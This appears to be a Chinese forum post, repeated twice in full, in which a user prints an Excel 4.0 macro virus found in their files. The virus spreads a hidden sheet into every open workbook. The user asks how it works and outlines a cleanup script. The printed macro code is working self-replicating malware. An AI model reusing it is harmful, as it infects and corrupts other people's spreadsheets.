主题:[讨论]一个EXCEL宏病毒里面的函数
*** Khoi dau *** 'A1
=ERROR(FALSE,$E$3) 'A2
=ECHO(FALSE)
=SET.VALUE($G$2,GET.DOCUMENT(88))
=WORKBOOK.HIDE($G$1,FALSE)
=SAVE.COPY.AS("LuuNgay" & TEXT(TODAY(),"dd-mm-yyyy") & GET.DOCUMENT(88)) '自动保存?
=ON.SHEET("Sh?et","Auto_Close")
=RETURN()
=RETURN()
*** Dong lai ***
=ERROR(FALSE,$E$3) '执行下一行
=WORKBOOK.HIDE($G$1,FALSE) '取消隐藏某表,其表名为 ~
=RUN($E$2) '运行前一行?
=WORKBOOK.HIDE($G$1,TRUE) '执行隐藏
=RETURN()
=RETURN()
*** Doan macro sao chep *** 'E1
=ERROR(FALSE,$E$3) 'E2
=FOR("_Count",1,COLUMNS(DOCUMENTS())) 'E3
=SET.VALUE($F$1,FALSE)
=SET.VALUE($F$2,"")
=SET.VALUE($F$3,"")
'E26
BookName=INDEX(DOCUMENTS(),_Count)
=SET.VALUE($F$2,BookName)
=FOR("__Count",1,COLUMNS(GET.WORKBOOK(1,BookName)))
SheetName=INDEX(GET.WORKBOOK(1,BookName),__Count)
=IF(SheetName="["&BookName & "]" &$G$1)
=SET.VALUE($F$1,TRUE)
=END.IF()
=NEXT()
=IF($F$1=FALSE)
=WORKBOOK.COPY("["&$G$2&"]" & $G$1,BookName)
=WORKBOOK.HIDE("["&BookName & "]" &$G$1,TRUE)
=END.IF()
=NEXT()
=RETURN()
TRUE 'F1
Book2 'F2
'F3
[MacroVirus.xls]~ !$E$26
~ 'G1
Book1.xls 'G2
在禁用宏的提示: 无法禁用的宏,可能是EXCEL 4.0的宏.
但我仍然不太明白这其中的函数调用哪里的代码,在工程资源管理器中找不到模块.
这个表是隐藏的,目前的做法是,扫描所有XLS文件列表到一个文本文件去,
先用WINRAR做一份备份,然后写一个VBS来逐个文件打开检查,找到文件标志后删除该工作表.
=ERROR(FALSE,$E$3) 'A2
=ECHO(FALSE)
=SET.VALUE($G$2,GET.DOCUMENT(88))
=WORKBOOK.HIDE($G$1,FALSE)
=SAVE.COPY.AS("LuuNgay" & TEXT(TODAY(),"dd-mm-yyyy") & GET.DOCUMENT(88)) '自动保存?
=ON.SHEET("Sh?et","Auto_Close")
=RETURN()
=RETURN()
*** Dong lai ***
=ERROR(FALSE,$E$3) '执行下一行
=WORKBOOK.HIDE($G$1,FALSE) '取消隐藏某表,其表名为 ~
=RUN($E$2) '运行前一行?
=WORKBOOK.HIDE($G$1,TRUE) '执行隐藏
=RETURN()
=RETURN()
*** Doan macro sao chep *** 'E1
=ERROR(FALSE,$E$3) 'E2
=FOR("_Count",1,COLUMNS(DOCUMENTS())) 'E3
=SET.VALUE($F$1,FALSE)
=SET.VALUE($F$2,"")
=SET.VALUE($F$3,"")
'E26
BookName=INDEX(DOCUMENTS(),_Count)
=SET.VALUE($F$2,BookName)
=FOR("__Count",1,COLUMNS(GET.WORKBOOK(1,BookName)))
SheetName=INDEX(GET.WORKBOOK(1,BookName),__Count)
=IF(SheetName="["&BookName & "]" &$G$1)
=SET.VALUE($F$1,TRUE)
=END.IF()
=NEXT()
=IF($F$1=FALSE)
=WORKBOOK.COPY("["&$G$2&"]" & $G$1,BookName)
=WORKBOOK.HIDE("["&BookName & "]" &$G$1,TRUE)
=END.IF()
=NEXT()
=RETURN()
TRUE 'F1
Book2 'F2
'F3
[MacroVirus.xls]~ !$E$26
~ 'G1
Book1.xls 'G2
在禁用宏的提示: 无法禁用的宏,可能是EXCEL 4.0的宏.
但我仍然不太明白这其中的函数调用哪里的代码,在工程资源管理器中找不到模块.
这个表是隐藏的,目前的做法是,扫描所有XLS文件列表到一个文本文件去,
先用WINRAR做一份备份,然后写一个VBS来逐个文件打开检查,找到文件标志后删除该工作表.